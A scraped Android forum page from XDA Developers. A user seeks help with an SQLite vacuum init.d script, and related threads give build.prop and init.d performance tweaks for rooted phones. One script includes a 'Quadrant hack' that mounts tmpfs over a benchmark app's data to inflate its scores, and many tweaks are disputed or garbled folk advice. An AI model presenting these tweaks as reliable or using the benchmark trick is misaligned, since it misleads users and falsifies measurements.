[q] vacuum=errcode-14 reindex=success - Android Software/Hacking General [Developers Only]

This is init.d script that I use.
-----
#!/system/bin/sh
# Vacuum and reindex DB
FLY=/data/initd/sqlite.log
# Interval between optimize SQlite runs, in seconds, 86400=24 hours
RUN_EVERY=86400
# Get the last modify date of the log file, if the file does not exist, set value to 0
if [ -e $FLY ]; then
LASTRUN=`stat -t $FLY | awk '{print $14}'`
else
LASTRUN=0
fi;
# Get current date in epoch format
CURRDATE=`date +%s`
# Check the interval
INTERVAL=$(expr $CURRDATE - $LASTRUN)
# If interval is more than the set one, then run the main script
if [ $INTERVAL -gt $RUN_EVERY ];
then
if [ -e $FLY ]; then
rm $FLY;
fi;
fi;
echo "SQLite database VACUUM and REINDEX started at $( date +"%m-%d-%Y %H:%M:%S" )" | tee -a $FLY;
for i in `busybox find /d* -iname "*.db"`; do
/system/xbin/sqlite3 $i 'VACUUM;';
resVac=$?
if [ $resVac == 0 ]; then
resVac="SUCCESS";
else
resVac="ERRCODE-$resVac";
fi;
/system/xbin/sqlite3 $i 'REINDEX;';
resIndex=$?
if [ $resIndex == 0 ]; then
resIndex="SUCCESS";
else
resIndex="ERRCODE-$resIndex";
fi;
echo "Database $i: VACUUM=$resVac REINDEX=$resIndex" | tee -a $FLY;
done
echo "SQLite DB vacuum and reindex finished at $( date +"%m-%d-%Y %H:%M:%S" )" | tee -a $FLY;
fi;
-----
This is partial logfile. All database get the same result. Vacuum error.
-----
Database /data/data/com.sonyericsson.album/databases/socialcloud.db: VACUUM=ERRCODE-14 REINDEX=SUCCESS
Database /data/data/com.sonyericsson.album/databases/downloads.db: VACUUM=ERRCODE-14 REINDEX=SUCCESS
Database /data/data/com.sonyericsson.android.camera/databases/google_analytics_v2.db: VACUUM=ERRCODE-14 REINDEX=SUCCESS
-----
Could you help me to fix this issue?
Thanks in advanced.

Up.

microtext said:
This is init.d script that I use.
Can you help me to fix this issue?
Thanks in advanced.
Click to expand...
Click to collapse
This is part of a command, separating it breaks the command line..
This will work better..
Code:
# SQLite tweak
B=/system/xbin/busybox
LOG_FILE=/data/sqlite.log
if [ -e $LOG_FILE ]; then
rm $LOG_FILE;
fi;
echo "Starting FV Automatic ZipAlign $( date +"%m-%d-%Y %H:%M:%S" )" | tee -a $LOG_FILE
if [ -e /system/xbin/sqlite3 ]; then
$B echo "Optimizing DataBases.." | tee -a $LOG_FILE
for i in \
$($B find /data -iname "*.db")
do \
/system/xbin/sqlite3 "$i" 'VACUUM;'
/system/xbin/sqlite3 "$i" 'REINDEX;'
done;
for i in \
$($B find /sdcard -iname "*.db")
do \
/system/xbin/sqlite3 "$i" 'VACUUM;'
/system/xbin/sqlite3 "$i" 'REINDEX;'
done;
fi;
echo "Automatic sqlite vacuum finished at $( date +"%m-%d-%Y %H:%M:%S" )" | tee -a $LOG_FILE

@Setting.Out, working very good on OnePlus 3

Setting.Out said:
This is part of a command, separating it breaks the command line..
This will work better..
Code:
# SQLite tweak
B=/system/xbin/busybox
LOG_FILE=/data/sqlite.log
if [ -e $LOG_FILE ]; then
rm $LOG_FILE;
fi;
echo "Starting FV Automatic ZipAlign $( date +"%m-%d-%Y %H:%M:%S" )" | tee -a $LOG_FILE
if [ -e /system/xbin/sqlite3 ]; then
$B echo "Optimizing DataBases.." | tee -a $LOG_FILE
for i in \
$($B find /data -iname "*.db")
do \
/system/xbin/sqlite3 "$i" 'VACUUM;'
/system/xbin/sqlite3 "$i" 'REINDEX;'
done;
for i in \
$($B find /sdcard -iname "*.db")
do \
/system/xbin/sqlite3 "$i" 'VACUUM;'
/system/xbin/sqlite3 "$i" 'REINDEX;'
done;
fi;
echo "Automatic sqlite vacuum finished at $( date +"%m-%d-%Y %H:%M:%S" )" | tee -a $LOG_FILE
Click to expand...
Click to collapse
I replace with your code. But, still get error, Bro.
{
"lightbox_close": "Close",
"lightbox_next": "Next",
"lightbox_previous": "Previous",
"lightbox_error": "The requested content cannot be loaded. Please try again later.",
"lightbox_start_slideshow": "Start slideshow",
"lightbox_stop_slideshow": "Stop slideshow",
"lightbox_full_screen": "Full screen",
"lightbox_thumbnails": "Thumbnails",
"lightbox_download": "Download",
"lightbox_share": "Share",
"lightbox_zoom": "Zoom",
"lightbox_new_window": "New window",
"lightbox_toggle_sidebar": "Toggle sidebar"
}

microtext said:
I replace with your code. But, still get error, Bro.
Click to expand...
Click to collapse
This was written around 4.0 android, some tweaks aren't as compatible on newer android as others I'd imagine.. Half the tweak looks applicable.... I'll have a look, as I'm curious if it's needed..

Setting.Out said:
This was written around 4.0 android, some tweaks aren't as compatible on newer android as others I'd imagine.. Half the tweak looks applicable.... I'll have a look, as I'm curious if it's needed..
Click to expand...
Click to collapse
Yes, I still use Android KitKat.

Related

[For DEV][Build.prop Tweak's]All tweaks

Tweaks Increase download/upload/3G speeds
Code:
ro.ril.hsxpa=2
ro.ril.gprsclass=10
ro.ril.hep=1
ro.ril.enable.dtm=0
ro.ril.hsdpa.category=8 (or 10,12,14) Still looking for more of these though.
ro.ril.enable.a53=1
ro.ril.enable.3g.prefix=1
ro.ril.htcmaskw1.bitmask=4294967295
ro.ril.htcmaskw1=14449
ro.ril.hsupa.category=6
net.tcp.buffersize.default=4096,87380,256960,4096,16384,256960
net.tcp.buffersize.wifi=4096,87380,256960,4096,16384,256960
net.tcp.buffersize.umts=4096,87380,256960,4096,16384,256960
net.tcp.buffersize.gprs=4096,87380,256960,4096,16384,256960
net.tcp.buffersize.edge=4096,87380,256960,4096,16384,256960
Power Save Tweak
Code:
Allows the phone to sleep better
ro.ril.disable.power.collapse=0
Saves power when phone is sleep
pm.sleep_mode=1
Allows your wifi to scan less, saving more battery
wifi.supplicant_scan_interval=150 or 180 (your choice)
Helps Scrolling Responsiveness
windowsmgr.max_events_per_sec=150
Increase overal touch responsivenss
debug.performance.tuning=1
video.accelerate.hw=1
MEDIA TWEAKS
Code:
Makes streaming videos stream faster
media.stagefright.enable-player=true
media.stagefright.enable-meta=true
media.stagefright.enable-scan=true
media.stagefright.enable-http=true
media.stagefright.enable-record=false
Increases quality of photo and videos
ro.media.dec.jpeg.memcap=8000000
ro.media.enc.hprof.vid.bps=8000000
Raises quality of JPEG images
ro.media.enc.jpeg.quality=90 or 100 (your choice)
BOOT TWEAKS
Code:
Gives your phone no boot animation
debug.sf.nobootanimation=1
SYSTEM TWEAKS
Code:
Forces your home launcher into memory
ro.HOME_APP_ADJ=1
Change the Dalvik VM heap size
dalvik.vm.heapsize=64m #or 48mb
To disable usb debugging popup
persist.adb.notify=0
To stop the phone from waking up when pressing the volume key
ro.config.hwfeature_wakeupkey=0
To make the phone ring faster when dialing out
ro.telephony.call_ring.delay=800
Disable black screen issue after call
ro.lge.proximity.delay=25
mot.proximity.delay=25
dalvik.vm.startheapsize = 4ΠΌ
Screen ppi or font density
[B]ro.sf.lcd_density=240
Other Tweaks
Code:
mot.proximity.delay=150
debug.sf.hw=1 #Render UI with GPU
ro.kernel.android.checkjni=0
persist.sys.purgeable_assets=1
download link ? does it work in miui ?
anna0811 said:
download link ? does it work in miui ?
Click to expand...
Click to collapse
You add it to build.prop on your own.
Cheers
Sent from my GT-i9003 powered by MIUI
anna0811 said:
download link ? does it work in miui ?
Click to expand...
Click to collapse
read it it is for dev only
I am using must of them so no need to change it.Thanks Frank for collecting.
tarunagg said:
read it it is for dev only
Click to expand...
Click to collapse
i know it is for devs but i want to try it if there is a download link
btw can you tell me how to flash it
anna0811 said:
i know it is for devs but i want to try it if there is a download link
btw can you tell me how to flash it
Click to expand...
Click to collapse
all hail the king of troll
it has to be changed manually.not a flashable file.
anna0811 said:
i know it is for devs but i want to try it if there is a download link
btw can you tell me how to flash it
Click to expand...
Click to collapse
If you don't know how to apply them just install a rom that surely has some of them
Nice list.
I think ro.ril.disable.power.collapse should read
Code:
ro.ril.disable.power.collapse=0
because you want the power collapse to happen to save energy. Also, all commands should be lower case. Therefore it should be
Code:
debug.performance.tuning=1
video.accelerate.hw=1
with 'd' and 'v' instead of 'D' and 'V' at the beginning.
Further, I use
Code:
dalvik.vm.startheapsize=4m
which in my experience reduces RAM usage by approx. 15 MB on startup.
XDA_Bam said:
Nice list.
I think ro.ril.disable.power.collapse should read
Code:
ro.ril.disable.power.collapse=0
because you want the power collapse to happen to save energy. Also, all commands should be lower case. Therefore it should be
Code:
debug.performance.tuning=1
video.accelerate.hw=1
with 'd' and 'v' instead of 'D' and 'V' at the beginning.
Further, I use
Code:
dalvik.vm.startheapsize=4m
which in my experience reduces RAM usage by approx. 15 MB on startup.
Click to expand...
Click to collapse
Thanks man, i add this later
Nice one frank,ButI think Mediastatefright breaks HD Video
PhosgenMod init.d + build.prop
PhosgenCharger
Code:
echo "0,3,5,7,14,15" > /sys/module/lowmemorykiller/parameters/adj; # OOM Grouping
echo "1536,2048,4096,10240,12800,15360"> /sys/module/lowmemorykiller/parameters/minfree;
PhosgenCore
Code:
if [ -e /sys/devices/virtual/bdi/179:0/read_ahead_kb ]
then
/system/xbin/echo "4096" > /sys/devices/virtual/bdi/179:0/read_ahead_kb;
fi;
if [ -e /sys/devices/virtual/bdi/179:8/read_ahead_kb ]
then
/system/xbin/echo "4096" > /sys/devices/virtual/bdi/179:8/read_ahead_kb;
fi;
if [ -e /sys/devices/virtual/bdi/default/read_ahead_kb ]
then
/system/xbin/echo "4096" > /sys/devices/virtual/bdi/default/read_ahead_kb;
fi;
if [ -e /sys/module/lowmemorykiller/parameters/adj ]; then
echo "0,1,2,4,6,15" > /sys/module/lowmemorykiller/parameters/adj
fi
if [ -e /sys/module/lowmemorykiller/parameters/minfree ]; then
echo "2560,4096,5632,10240,11776,14848" > /sys/module/lowmemorykiller/parameters/minfree
fi
if [ -e /proc/sys/vm/swappiness ]; then
echo "20" > /proc/sys/vm/swappiness
fi
if [ -e /proc/sys/vm/vfs_cache_pressure ]; then
echo "70" > /proc/sys/vm/vfs_cache_pressure
fi
if [ -e /proc/sys/vm/dirty_expire_centisecs ]; then
echo "3000" > /proc/sys/vm/dirty_expire_centisecs
fi
if [ -e /proc/sys/vm/dirty_writeback_centisecs ]; then
echo "450" > /proc/sys/vm/dirty_writeback_centisecs
fi
if [ -e /proc/sys/vm/dirty_ratio ]; then
echo "10" > /proc/sys/vm/dirty_ratio
fi
if [ -e /proc/sys/vm/dirty_background_ratio ]; then
echo "2" > /proc/sys/vm/dirty_background_ratio
fi
LOG_FILE=/data/zipalign.log;
ZIPALIGNDB=/data/zipalign.db;
if [ -e $LOG_FILE ]; then
rm $LOG_FILE;
fi;
if [ ! -f $ZIPALIGNDB ]; then
touch $ZIPALIGNDB;
fi;
echo "Starting FV Automatic ZipAlign $( date +"%m-%d-%Y %H:%M:%S" )" | tee -a $LOG_FILE;
for DIR in /system/app /data/app; do
cd $DIR;
for APK in *.apk; do
if [ $APK -ot $ZIPALIGNDB ] && [ $(grep "$DIR/$APK" $ZIPALIGNDB|wc -l) -gt 0 ]; then
echo "Already checked: $DIR/$APK" | tee -a $LOG_FILE;
else
ZIPCHECK=`/system/xbin/zipalign -c -v 4 $APK | grep FAILED | wc -l`;
if [ $ZIPCHECK == "1" ]; then
echo "Now aligning: $DIR/$APK" | tee -a $LOG_FILE;
/system/xbin/zipalign -v -f 4 $APK /data/local/$APK;
busybox mount -o rw,remount /system;
cp -f -p /data/local/$APK $APK;
grep "$DIR/$APK" $ZIPALIGNDB > /dev/null || echo $DIR/$APK >> $ZIPALIGNDB;
else
echo "Already aligned: $DIR/$APK" | tee -a $LOG_FILE;
grep "$DIR/$APK" $ZIPALIGNDB > /dev/null || echo $DIR/$APK >> $ZIPALIGNDB;
fi;
fi;
done;
done;
busybox mount -o ro,remount /system;
touch $ZIPALIGNDB;
echo "Automatic ZipAlign finished at $( date +"%m-%d-%Y %H:%M:%S" )" | tee -a $LOG_FILE;
MODULES="ipv6"
for i in $MODULES;
do
modprobe $i;
done
sysctl -p /etc/sysctl.conf;
LOOP=`ls -d /sys/block/loop*`;
blk0=`ls -d /sys/block/mmcblk0`;
blk1=`ls -d /sys/block/mmcblk1`;
MMC=`ls -d /sys/block/mmc*`;
for j in $blk0 $blk1; do
echo "0" > $j/queue/rotational;
echo "4096" > $j/queue/read_ahead_kb;
done;
for k in $(busybox mount | grep relatime | cut -d " " -f3) ; do
sync;
busybox mount -o remount,noatime $k;
done;
for i in /sys/block/*/queue/scheduler ; do
echo "noop" > $i;
done;
for a in $blk0 $blk1 $MMC ; do
echo "512" > $a/queue/nr_requests;
done;
for k in $(busybox mount | grep relatime | cut -d " " -f3) ; do
sync
busybox mount -o remount,noatime $k
done
STL=`ls -d /sys/block/stl*`;
BML=`ls -d /sys/block/bml*`;
MMC=`ls -d /sys/block/mmc*`;
ZRM=`ls -d /sys/block/zram*`;
MTD=`ls -d /sys/block/mtd*`;
for i in $STL $BML $MMC $TFSR; do
echo 0 > $i/queue/rotational
echo 1 > $i/queue/iosched/low_latency
echo 1 > $i/queue/iosched/back_seek_penalty
echo 1000000000 > $i/queue/iosched/back_seek_max
echo 3 > $i/queue/iosched/slice_idle
echo 16 > $i/queue/iosched/quantum
echo 1 > $i/queue/iosched/fifo_batch
echo sio > $i/queue/scheduler
done
if [ -n ${up_threshold} ];
then echo ${up_threshold} > /sys/devices/system/cpu/cpu0/cpufreq/ondemand/up_threshold
fi
if [ -n ${sampling_rate} ];
then echo ${sampling_rate} > /sys/devices/system/cpu/cpu0/cpufreq/ondemand/sampling_rate
fi
if [ -e /sys/module/lowmemorykiller/parameters/adj ]; then
echo "0,1,2,4,7,15" > /sys/module/lowmemorykiller/parameters/adj
fi
if [ -e /sys/module/lowmemorykiller/parameters/minfree ]; then
echo "2560,4096,6144,12288,14336,18432" > /sys/module/lowmemorykiller/parameters/minfree
fi
if [ -e /sys/devices/virtual/bdi/179:0/read_ahead_kb ]; then
echo "3072" > /sys/devices/virtual/bdi/179:0/read_ahead_kb
fi
echo "deadline" > /sys/block/mmcblk0/queue/scheduler
echo "0" > /sys/block/mmcblk0/queue/rotational
echo "2048" > /sys/block/mmcblk0/queue/nr_requests
echo ${READ_AHEAD_KB} > /sys/block/mmcblk0/queue/read_ahead_kb
echo "deadline" > /sys/block/mmcblk1/queue/scheduler
echo "0" > /sys/block/mmcblk1/queue/rotational
echo "2048" > /sys/block/mmcblk1/queue/nr_requests
echo ${READ_AHEAD_KB} > /sys/block/mmcblk1/queue/read_ahead_kb
for i in \ `find /data -iname "*.db"` do \ sqlite3
$i 'VACUUM;'
done
echo "6144 87380 524288" > /proc/sys/net/ipv4/tcp_wmem
echo "6144 87380 524288" > /proc/sys/net/ipv4/tcp_rmem
setprop ro.telephony.call_ring.delay 0
setprop ring.delay 0
setprop windowsmgr.support_rotation_270 true
setprop ro.HOME_APP_ADJ 1
setprop ro.HOME_APP_MEM 2048
echo "500" > /proc/sys/vm/dirty_expire_centisecs
echo "1000" > /proc/sys/vm/dirty_writeback_centisecs
echo "0" > /proc/sys/net/ipv4/tcp_timestamps;
echo "1" > /proc/sys/net/ipv4/tcp_tw_reuse;
echo "1" > /proc/sys/net/ipv4/tcp_sack;
echo "1" > /proc/sys/net/ipv4/tcp_tw_recycle;
echo "1" > /proc/sys/net/ipv4/tcp_window_scaling;
echo "5" > /proc/sys/net/ipv4/tcp_keepalive_probes;
echo "30" > /proc/sys/net/ipv4/tcp_keepalive_intvl;
echo "30" > /proc/sys/net/ipv4/tcp_fin_timeout;
echo "404480" > /proc/sys/net/core/wmem_max;
echo "404480" > /proc/sys/net/core/rmem_max;
echo "256960" > /proc/sys/net/core/rmem_default;
echo "256960" > /proc/sys/net/core/wmem_default;
echo "4096,16384,404480" > /proc/sys/net/ipv4/tcp_wmem;
echo "4096,87380,404480" > /proc/sys/net/ipv4/tcp_rmem;
PhosgenKNZO
Code:
b="busybox"; _e () { echo "$1" > "$2"; };
_m () { $b mount -o $mop -t $fs $1 $2 > /dev/nul 2>&1; };
_t1 () { tune2fs -o $1 $2; }; _t2 () { tune2fs -O $1 $2; };
_mt () { mount -o rw -t tmpfs tmpfs /data/data/$1; };
qa="com.aurorasoftworks.quadrant.ui.standard";
qs="com.aurorasoftworks.quadrant.ui.advanced";
_e "Smartassv2" /sys/devices/system/cpu/cpu0/cpufreq/scaling_governor;
for i in /sys/block/*/queue/scheduler; do sync; echo "sio" > /$i; done;
sd="/sys/devices/virtual/bdi";
_e "1024" $sd/179:0/read_ahead_kb; _e "1024" $sd/default/read_ahead_kb;
if [ -e "$sd/179:16/read_ahead_kb" ]; then _e "1024" $sd/179:16/read_ahead_kb; else _e "1024" $sd/179:17/read_ahead_kb; fi;
PhosgenLoopy
Code:
###### Loopy Smoothness Tweak for PhosgenMod (Experimental) #######
sleep 3
renice 18 `pidof kswapd0` # please give credit and thanks to loopy for this line if it works
##### Set nice levels for smoothness loop BEGIN #####
### Let's loop this in the background for a bit
for i in {1..20}
do
sleep 5
### Phone dialer app ###
renice -20 `pidof com.android.phone`
### Launcher apps ###
renice -20 `pidof com.sec.android.app.twlauncher` # TouchWiz Launcher
renice -20 `pidof org.adwfreak.launcher` # ADW Launcher Ex
renice -20 `pidof org.zeam.core` # Zeam launcher
### System apps ###
renice -19 `pidof com.android.mms` # Text message app
renice -19 `pidof com.swype.android.inputmethod` # Swype keyboard
renice -15 `pidof com.sec.android.app.controlpanel` # Task manager
renice -15 `pidof com.android.systemui` # Status bar
renice -9 `pidof com.android.settings` # Settings menu
renice -9 `pidof com.android.browser` # Browser app
renice -9 `pidof com.android.vending` # Market app
renice -20 `pidof com.sec.android.app.camera` # Camera app
renice -6 `pidof com.sec.android.app.fm` # FM Radio app
renice -6 `pidof com.google.android.youtube` # YouTube app
renice -6 `pidof com.google.android.apps.maps` # Maps
renice -3 `pidof android.process.acore`
renice -3 `pidof android.process.media`
### Memory management kernel thread ###
renice 19 `pidof kswapd0` # please give credit and thanks to loopy for this line if it works
done
PhosgenTouch
Code:
echo 7035 > /sys/class/touch/switch/set_touchscreen;
echo 8002 > /sys/class/touch/switch/set_touchscreen;
echo 11000 > /sys/class/touch/switch/set_touchscreen;
echo 13060 > /sys/class/touch/switch/set_touchscreen;
echo 14005 > /sys/class/touch/switch/set_touchscreen;
PhosgenTune
Code:
if [ -e /sys/class/misc/gpu_clock_control/gpu_control ]; then
echo "100 200 267" > /sys/class/misc/gpu_clock_control/gpu_control;
echo "85% 45% 85% 70%" > /sys/class/misc/gpu_clock_control/gpu_control;
#echo "800000 850000 950000" > /sys/devices/virtual/misc/gpu_voltage_control/gpu_control;
fi;
if [ -e /sys/devices/system/cpu/cpu0/cpufreq/UV_mV_table ]; then
#echo "1400 1300 1175 1075 975 850 825 825 " > /sys/devices/system/cpu/cpu0/cpufreq/UV_mV_table;
fi;
for i in \
`busybox find /data -iname "*.db"`;
do \
/system/xbin/sqlite3 $i 'VACUUM;';
/system/xbin/sqlite3 $i 'REINDEX;';
done;
if [ -d "/dbdata" ]; then
for i in \
`busybox find /dbdata -iname "*.db"`;
do \
/system/xbin/sqlite3 $i 'VACUUM;';
/system/xbin/sqlite3 $i 'REINDEX;';
done;
fi;
if [ -d "/datadata" ]; then
for i in \
`busybox find /datadata -iname "*.db"`;
do \
/system/xbin/sqlite3 $i 'VACUUM;';
/system/xbin/sqlite3 $i 'REINDEX;';
done;
fi;
for i in \
`busybox find /sdcard -iname "*.db"`;
do \
/system/xbin/sqlite3 $i 'VACUUM;';
/system/xbin/sqlite3 $i 'REINDEX;';
done;
if [ "`grep 'quadrant.*true' $p`" ]; then
echo "`date` Enabling Quadrant hack..." >>$LOG
dd="/data/data"
qs="com.aurorasoftworks.quadrant.ui.standard"
qa="com.aurorasoftworks.quadrant.ui.advanced"
if [ -d "$dd/$qs" ]; then mount -t tmpfs tmpfs $dd/$qs; renice -20 `pidof $qs`; fi
if [ -d "$dd/$qa" ]; then mount -t tmpfs tmpfs $dd/$qa; renice -20 `pidof $qa`; fi
mount |grep quadrant >>$LOG
fi
if [ -e /sys/devices/system/cpu/cpufreq/smartass/awake_ideal_freq ]; then
echo "800000" > /sys/devices/system/cpu/cpufreq/smartass/awake_ideal_freq;
if [ "`cat /sys/devices/system/cpu/cpu0/cpufreq/scaling_min_freq`" -eq 200000 ]; then
echo "200000" > /sys/devices/system/cpu/cpufreq/smartass/sleep_ideal_freq;
else
echo "100000" > /sys/devices/system/cpu/cpufreq/smartass/sleep_ideal_freq;
fi;
echo "800000" > /sys/devices/system/cpu/cpufreq/smartass/sleep_wakeup_freq;
echo "85" > /sys/devices/system/cpu/cpufreq/smartass/max_cpu_load;
echo "75" > /sys/devices/system/cpu/cpufreq/smartass/min_cpu_load;
echo "200000" > /sys/devices/system/cpu/cpufreq/smartass/ramp_down_step;
echo "0" > /sys/devices/system/cpu/cpufreq/smartass/ramp_up_step;
fi;
XDA_Bam said:
Nice list.
I think ro.ril.disable.power.collapse should read
Code:
ro.ril.disable.power.collapse=0
because you want the power collapse to happen to save energy. Also, all commands should be lower case. Therefore it should be
Code:
debug.performance.tuning=1
video.accelerate.hw=1
with 'd' and 'v' instead of 'D' and 'V' at the beginning.
Further, I use
Code:
dalvik.vm.startheapsize=4m
which in my experience reduces RAM usage by approx. 15 MB on startup.
Click to expand...
Click to collapse
ro.ril.disable.power.collapse should be 1 to disable the power collapse
For collection of scripts and tweaks look here
send from gt-i9003 using android keyboard
sirilpta said:
For collection of scripts and tweaks look here
send from gt-i9003 using android keyboard
Click to expand...
Click to collapse
..Thanks!
TheFrankenstain said:
..Thanks!
Click to expand...
Click to collapse
in that link it is written
Code:
ro.ril.disable.power.collapse=0
The sense says it should be=1, so what do we use?
Another thing, we can't use all the build.prop lines of that link is this right?
Originally Posted by TheFrankenstain
..Thanks!
Click to expand...
Click to collapse
in that link it is written
ro.ril.disable.power.collapse=0
The sense says it should be=1, so what do we use?
Another thing, we can't use all the build.prop lines of that link is this right?
Click to expand...
Click to collapse
Just use the tweaks currently in the OP. I believe thefrankenstein will only state the tweaks that work.
Cheers
Sent from my GT-i9003 powered by MIUI
Nice work!
I'd changed the media builds yesterday, however, now i can't playing youtube's videos because when i press play button the Mobile become frigde and i only can to turn off pressing long the power button.
Can you give me thr factory status? I didn't a back up file :s
Thx!!
Enviado desde mi GT-I9003 usando Tapatalk
txitxo0 said:
Nice work!
I'd changed the media builds yesterday, however, now i can't playing youtube's videos because when i press play button the Mobile become frigde and i only can to turn off pressing long the power button.
Can you give me thr factory status? I didn't a back up file :s
Thx!!
Enviado desde mi GT-I9003 usando Tapatalk
Click to expand...
Click to collapse
When you edit build.prop, the phone automatically saves a build.prop.bak in the same location, just under your build.prop. Just rename it to build.prop and delete the bad one.
luiseteyo said:
When you edit build.prop, the phone automatically saves a build.prop.bak in the same location, just under your build.prop. Just rename it to build.prop and delete the bad one.
Click to expand...
Click to collapse
Thx a lot luiseteyo! I fell weird writing on english with you jaja
Enviado desde mi GT-I9003 usando Tapatalk

[SCRIPT] Run init.d scripts once every N days [ZipAlign/SQLite3/others]

There are many ROMs that include the ZipAlign or SQLite3 vacuum on boot, but these command are not really needed to run on EVERY boot, once every few days can be enough, so I came out with this script.
To run it, you need to have busybox with the stat applet (should be there always), which gives information about a file, including last modification date.
This is done is by checking the last modification date on a file, which is touched or changed only when the main script is executed.
Currently I modified the ZipAlign and SQLite vacuum in my own rom to use this technique, and they seem to work fine. The monitored file is the log of the operation done, which is stored in the /data/ directory
ZipAlign on Boot:
Code:
#!/system/bin/sh
# Automatic ZipAlign by Wes Garner
# ZipAlign files in /data that have not been previously ZipAligned (using md5sum)
# Thanks to oknowton for the changes
# Changelog:
# 1.0 (11/30/09) Original
# 1.1 (12/01/09) Switched to zipalign -c 4 to check the apk instead of MD5 (oknowton)
# 1.2 (06/01/13) Run the main script only once every N days (default 7 days, 1 week) (mcbyte_it)
[COLOR="DarkRed"]LOG_FILE=/data/zipalign.log
#Interval between ZipAlign runs, in seconds, 604800=1 week
RUN_EVERY=604800
# Get the last modify date of the Log file, if the file does not exist, set value to 0
if [ -e $LOG_FILE ]; then
LASTRUN=`stat -t $LOG_FILE | awk '{print $14}'`
else
LASTRUN=0
fi;
# Get current date in epoch format
CURRDATE=`date +%s`
# Check the interval
INTERVAL=$(expr $CURRDATE - $LASTRUN)
# If interval is more than the set one, then run the main script
if [ $INTERVAL -gt $RUN_EVERY ];
then[/COLOR]
[COLOR="Green"] if [ -e $LOG_FILE ]; then
rm $LOG_FILE;
fi;
echo "Starting Automatic ZipAlign $( date +"%m-%d-%Y %H:%M:%S" )" | tee -a $LOG_FILE;
for apk in /data/app/*.apk ; do
zipalign -c 4 $apk;
ZIPCHECK=$?;
if [ $ZIPCHECK -eq 1 ]; then
echo ZipAligning $(basename $apk) | tee -a $LOG_FILE;
zipalign -f 4 $apk /cache/$(basename $apk);
if [ -e /cache/$(basename $apk) ]; then
cp -f -p /cache/$(basename $apk) $apk | tee -a $LOG_FILE;
rm /cache/$(basename $apk);
else
echo ZipAligning $(basename $apk) Failed | tee -a $LOG_FILE;
fi;
else
echo ZipAlign already completed on $apk | tee -a $LOG_FILE;
fi;
done;
echo "Automatic ZipAlign finished at $( date +"%m-%d-%Y %H:%M:%S" )" | tee -a $LOG_FILE;[/color]
[COLOR="DarkRed"]fi[/COLOR]
SQLite3 vacuum:
Code:
#!/system/bin/sh
# ========================================
# init.d script for McByte jkSGS3
# ========================================
# SQLite database vaccum
# Frequent inserts, updates, and deletes can cause the database file to become fragmented - where data for a single table or index is scattered around the database file.
# Running VACUUM ensures that each table and index is largely stored contiguously within the database file.
# In some cases, VACUUM may also reduce the number of partially filled pages in the database, reducing the size of the database file further.
# sqlite3 binary in /system/xbin is required!
# Changelog
# v1.0 - (??/??/????) - original version
# v1.1 - (06/01/2013) - run only every X seconds, default = 1 week (mcbyte_it)
#
[COLOR="DarkRed"]# Log file location
LOG_FILE=/data/sqlite.log
#Interval between SQLite3 runs, in seconds, 604800=1 week
RUN_EVERY=604800
# Get the last modify date of the Log file, if the file does not exist, set value to 0
if [ -e $LOG_FILE ]; then
LASTRUN=`stat -t $LOG_FILE | awk '{print $14}'`
else
LASTRUN=0
fi;
# Get current date in epoch format
CURRDATE=`date +%s`
# Check the interval
INTERVAL=$(expr $CURRDATE - $LASTRUN)
# If interval is more than the set one, then run the main script
if [ $INTERVAL -gt $RUN_EVERY ];
then[/COLOR]
[COLOR="Green"]if [ -e $LOG_FILE ]; then
rm $LOG_FILE;
fi;
echo "SQLite database VACUUM and REINDEX started at $( date +"%m-%d-%Y %H:%M:%S" )" | tee -a $LOG_FILE;
for i in `busybox find /d* -iname "*.db"`; do
/system/xbin/sqlite3 $i 'VACUUM;';
resVac=$?
if [ $resVac == 0 ]; then
resVac="SUCCESS";
else
resVac="ERRCODE-$resVac";
fi;
/system/xbin/sqlite3 $i 'REINDEX;';
resIndex=$?
if [ $resIndex == 0 ]; then
resIndex="SUCCESS";
else
resIndex="ERRCODE-$resIndex";
fi;
echo "Database $i: VACUUM=$resVac REINDEX=$resIndex" | tee -a $LOG_FILE;
done
echo "SQLite database VACUUM and REINDEX finished at $( date +"%m-%d-%Y %H:%M:%S" )" | tee -a $LOG_FILE;[/COLOR]
[COLOR="DarkRed"]fi;[/COLOR]
This looks like a great idea :good: is it possible to easily change the intended interval at which yo want the scripts to run though?
HTCDreamOn said:
This looks like a great idea :good: is it possible to easily change the intended interval at which yo want the scripts to run though?
Click to expand...
Click to collapse
Sure, check the examples I posted, they are well commented. Just change the value of the "RUN_EVERY".
I'll take a look
mcbyte_it said:
Sure, check the examples I posted, they are well commented. Just change the value of the "RUN_EVERY".
Click to expand...
Click to collapse
Awesome, I'll give them a go!
how can i modify this script to zimpalign /system/app too?
UnitedOceanic said:
how can i modify this script to zimpalign /system/app too?
Click to expand...
Click to collapse
There is no much sense of zipaligning system apps every x days, once they are zipaligned (when making the ROM zip), they remain zipaligned. some apks might need zip aligning if they get moved/installed as system apps after rom install.
Not to mention the stability, I don't know the exact boot mechanism of android, if you start zip aligning system apps during the init.d, it might cause instability to some system apps.
But if you mount the /system partition as read/write, do the zipaligning loop, then remount it as read-only, it should be possible.
still, I don't recommend doing so....
i pushed many apps from /data/app to /system/app.
I deleted the libs from the apks and copied them to /system/libs to saved space. however I forgot to zipalign the apks after removing the libs. I used the zipalign script from the rom toolbox app unfortunately it didn't work as expected. it just deleted the apps that should have been zipaligned.
I don't really want to zipalign /system at every boot. just once for the modified apks.
mcbyte_it said:
There are many ROMs that include the ZipAlign or SQLite3 vacuum on boot, but these command are not really needed to run on EVERY boot, once every few days can be enough, so I came out with this script.
To run it, you need to have busybox with the stat applet (should be there always), which gives information about a file, including last modification date.
This is done is by checking the last modification date on a file, which is touched or changed only when the main script is executed.
Currently I modified the ZipAlign and SQLite vacuum in my own rom to use this technique, and they seem to work fine. The monitored file is the log of the operation done, which is stored in the /data/ directory
ZipAlign on Boot:
Code:
#!/system/bin/sh
# Automatic ZipAlign by Wes Garner
# ZipAlign files in /data that have not been previously ZipAligned (using md5sum)
# Thanks to oknowton for the changes
# Changelog:
# 1.0 (11/30/09) Original
# 1.1 (12/01/09) Switched to zipalign -c 4 to check the apk instead of MD5 (oknowton)
# 1.2 (06/01/13) Run the main script only once every N days (default 7 days, 1 week) (mcbyte_it)
[COLOR="DarkRed"]LOG_FILE=/data/zipalign.log
#Interval between ZipAlign runs, in seconds, 604800=1 week
RUN_EVERY=604800
# Get the last modify date of the Log file, if the file does not exist, set value to 0
if [ -e $LOG_FILE ]; then
LASTRUN=`stat -t $LOG_FILE | awk '{print $14}'`
else
LASTRUN=0
fi;
# Get current date in epoch format
CURRDATE=`date +%s`
# Check the interval
INTERVAL=$(expr $CURRDATE - $LASTRUN)
# If interval is more than the set one, then run the main script
